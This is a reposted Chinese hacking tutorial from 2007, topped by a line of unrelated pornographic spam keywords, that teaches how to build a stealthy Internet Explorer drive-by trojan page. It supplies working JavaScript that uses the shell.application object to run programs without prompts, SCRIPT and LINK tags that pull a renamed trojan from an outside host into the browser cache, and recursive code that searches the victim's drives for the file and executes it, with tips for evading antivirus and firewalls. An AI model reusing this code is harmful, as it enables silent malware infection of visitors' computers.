欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

打造完美的ＩＥ網(wǎng)頁木馬

 更新時間：2007年01月16日 00:00:00   作者：  
作者：碧雪   來源：第八軍團 
      既然要打造完美的ＩＥ網(wǎng)頁木馬，首先就必須給我們的完美制定一個標準，我個人認為一個完美的ＩＥ網(wǎng)頁木馬至少應具備下列四項特征：  
　　一：可以躲過殺毒軟件的追殺；  
　　二：可以避開網(wǎng)絡防火墻的報警；  
　　三：能夠適用于多數(shù)的ＷＩＮＤＯＷＳ操作系統(tǒng)（主要包括ＷＩＮ９８、ＷＩＮＭＥ、ＷＩＮ２０００、ＷＩＮＸＰ、ＷＩＮ２００３）中的多數(shù)ＩＥ版本（主要包括ＩＥ５．０、ＩＥ５．５、ＩＥ６．０），最好能打倒ＳＰ補??；  
　　四：讓瀏覽者不容易發(fā)覺ＩＥ變化，即可以悄無聲息，從而可以長久不被發(fā)現(xiàn)。  
　　（注意以上四點只是指網(wǎng)頁本身而言，但不包括你的木馬程序，也就是說我們的網(wǎng)頁木馬只是負責運行指定的木馬程序，至于你的木馬程序的好壞只有你自己去選擇啦！別找我要，我不會寫的哦?。?nbsp; 
　　滿足以上四點我想才可以讓你的馬兒更青春更長久，跑的更歡更快……  
　　看了上面的幾點你是不是心動拉？別急，我們還是先侃侃現(xiàn)有的各種ＩＥ網(wǎng)頁木馬的不足吧！  
　　第一種：利用古老的MIME漏洞的ＩＥ網(wǎng)頁木馬  
　　這種木馬現(xiàn)在還在流行，但因為此漏洞太過古老且適用的ＩＥ版本較少，而當時影響又太大，補丁差不多都補上啦，因此這種木馬的種植成功率比較低。  
　　第二種：利用com.ms.activeX.ActiveXComponent漏洞，結合ＷＳＨ及ＦＳＯ控件的ＩＥ網(wǎng)頁木馬  
　　雖然com.ms.activeX.ActiveXComponent漏洞廣泛存在于多數(shù)ＩＥ版本中，是一個比較好的漏洞，利用價值非常高，但卻因為它結合了流行的病毒調用的ＷＳＨ及ＦＳＯ控件，使其雖說可以避開網(wǎng)絡防火墻的報警，可逃不脫殺毒軟件的追捕（如諾頓）。  
　　第三種：利用OBJECT對象類型確認漏洞（Ｏｂｊｅｃｔ?。模幔簦帷。遥澹恚铮簦澹┎⒔Y合ＷＳＨ及ＦＳＯ控件的ＩＥ網(wǎng)頁木馬（典型的代表有動鯊網(wǎng)頁木馬生成器）  
　　此種木馬最大的優(yōu)點是適應的ＩＥ版本多，且漏洞較新，但卻有如下不足：  
　?。薄⒁驗榇寺┒匆{用Mshta.exe來訪問網(wǎng)絡下載木馬程序，所以會引起防火墻報警（如天網(wǎng)防火墻）；  
　?。病⑷绻耍桑啪W(wǎng)頁木馬又利用了ＷＳＨ及ＦＳＯ控件，同樣逃不脫殺毒軟件的追捕（如諾頓），而  
動鯊網(wǎng)頁木馬又恰恰使用了ＷＳＨ及ＦＳＯ控件，嘆口氣……可惜呀……？  
　　３、再有就是這個漏洞需要網(wǎng)頁服務器支持動態(tài)網(wǎng)頁如ＡＳＰ、ＪＳＰ、ＣＧＩ等，這就影響了它的發(fā)揮，畢竟現(xiàn)在的免費穩(wěn)定的動態(tài)網(wǎng)頁空間是少之又少；雖說此漏洞也可利用郵件ＭＩＭＥ的形式（見我在安全焦點上發(fā)表的文章：《由錯誤MIME漏洞的利用想到的......---IE Object Data 數(shù)據(jù)遠程執(zhí)行漏洞的利用》http://www.xfocus.net/articles/200309/607.html）來利用，但經測試發(fā)現(xiàn)對ＩＥ６．０不起作用。  
　　看到上面的分析你是不是有了這種感覺：千軍易得，一將難求，馬兒成群，奈何千里馬難尋！別急，下面讓我?guī)н@大家一起打造我心中的完美ＩＥ網(wǎng)頁木馬。  
　　首先要躲過殺毒軟件的追殺，我們就不能利用ＷＳＨ和ＦＳＯ控件，因為只要利用了ＷＳＨ和ＦＳＯ控件就一定逃不脫“諾頓”的追殺，這可叫我們該如何是好？！別急，經過我的努力工作（說真的我也是在研究ＡＳＰ木馬時偶然發(fā)現(xiàn)的靈感）終于我有找到了一個可以用的控件，那就是 shell.application，并且它可是經過了安全認證的，可以在“我的電腦”域中的網(wǎng)頁中暢通無阻的執(zhí)行，比ＷＳＨ和ＦＳＯ更容易得到執(zhí)行權限（利用跨域漏洞即可），請看下面javascript代碼：  
<SCRIPT LANGUAGE="javascript" type="text/javascript">  
var shell=new ActiveXObject("shell.application");  
shell.namespace("c:\\Windows\\").items().item("Notepad.exe").invokeverb();  
</SCRIPT>  
保存為test.htm后打開看是否自動打開了記事本程序，而且不會象ＷＳＨ和ＦＳＯ那樣出現(xiàn)是否允許運行的提示框，是不是有點興趣啦？現(xiàn)在我們已可以運行所有已知路徑的程序，但我們要求運行我們自己的木馬程序，所以還要求把我們的木馬程序下載到瀏覽者的電腦上并找出它的位置。我們一個個來解決：  
　?。?、下載木馬程序到瀏覽者的電腦中  
　　這一點可以有很多解決方法，比如我以前提到的ＷＩＮＤＯＷＳ幫助文件訪問協(xié)議下載任意文件漏洞（its:），不過這次我們不用它，再教大家兩個更好的下載方法：  
　　例一：利用SCRIPT標簽，代碼如下：  
<SCRIPT LANGUAGE="icyfoxlovelace" src="http://www.godog.y365.com/wodemuma/icyfox.bat"></SCRIPT>  
注意此處的LANGUAGE屬性可以為除javascript、VBScript、JScript以外的字符串,也可以是漢字，至于src的屬性當然是你的木馬程序的地址啦！因為現(xiàn)在免費空間出于安全考慮，多數(shù)不允許上傳exe文件，我們可以變通一下把擴展名exe改為bat或pif、scr、com，同樣可以運行。  
　　例二：利用LINK標簽，代碼如下：  
<LINK href="http://www.godog.y365.com/wodemuma/icyfox.bat" rel=stylesheet type=text/css>  
把代碼放在標簽<HEAD></HEAD>中間，href屬性值為木馬程序的地址。  
上面兩個是我所知的最好的兩種下載木馬程序的方法，它們下載后的程序都保存在在ＩＥ臨時目錄Temporary Internet Files目錄下的子目錄中。  
　?。病⒄页鲆严螺d到瀏覽者的腦中的木馬程序路徑  
　　我們可以利用shell.application控件的一些屬性和方法，并結合js的錯誤處理try{}catch(e){}finally{}語句,進行遞歸調用來找到木馬程序的路徑，代碼如下： function icyfoxlovelace(){  
//得到ＷＩＮＤＯＷＳ系統(tǒng)目錄和系統(tǒng)盤  
url=document.location.href;  
xtmu=url.substring(6,url.indexOf('\\',9)+1);  
xtp=url.substr(6,3);  

var shell=new ActiveXObject("shell.application");  
var runbz=1;  

//此處設置木馬程序的大小，以字節(jié)為單位  
//請把198201改為你的木馬程序的實際大小  
var exeSize=198201;  

//設置木馬程序名及擴展名(exe,com,bat,pif,scr)，用于判斷是否是所下載的木馬程序  
//請把下面兩行中的icyfox改為你的木馬程序名，bat改為你的木馬程序的擴展名  
var a=/icyfox\[\d*\]\.bat/gi;  
a.compile("icyfox\\[\\d*\\]\\.bat","gi");  

var b=/[A-Za-z]:\\/gi;  
b.compile("[A-Za-z]:\\\\","gi");//正則表達式,用于判斷是否是盤的根目錄  

//下面的代碼查找并運行木馬程序  
wjj(xtmu+"Temporary Internet Files\\");//Content.IE5\if(runbz)wjj(xtp+"Documents and Settings\\");  
if(runbz)yp();  

//在所有硬盤分區(qū)下查找并運行木馬程序  
function yp(){  
try{  
var c=new Enumerator(shell.namespace("c:\\").ParentFolder.Items());  
for (;!c.atEnd();c.moveNext()){  
if(runbz){if(b.test(c.item().path))wjj(c.item().path);}  
else break;  
}  
}catch(e){}  
}  

//利用遞歸在指定目錄(包括子目錄)下查找并運行木馬程序  
function wjj(b){  
try{  
var c=new Enumerator(shell.namespace(b).Items());  
for (;!c.atEnd();c.moveNext()){  
if(runbz&&c.item().Size==exeSize&&a.test(c.item().path)){  
var f=c.item().path;  
var v=f.lastIndexOf('\\')+1;  
try{  
shell.namespace(f.substring(0,v)).items().item(f.substr(v)).invokeverb();//運行木馬程序  
runbz=0;  
break;  
}catch(e){}  
}  
if(!c.item().Size)wjj(c.item().path+"\\");//如果是子目錄則遞歸調用  
}  
}catch(e){}  
}  
}  
icyfoxlovelace();  
請把以上代碼保存為icyfox.js。  

相關文章

最新評論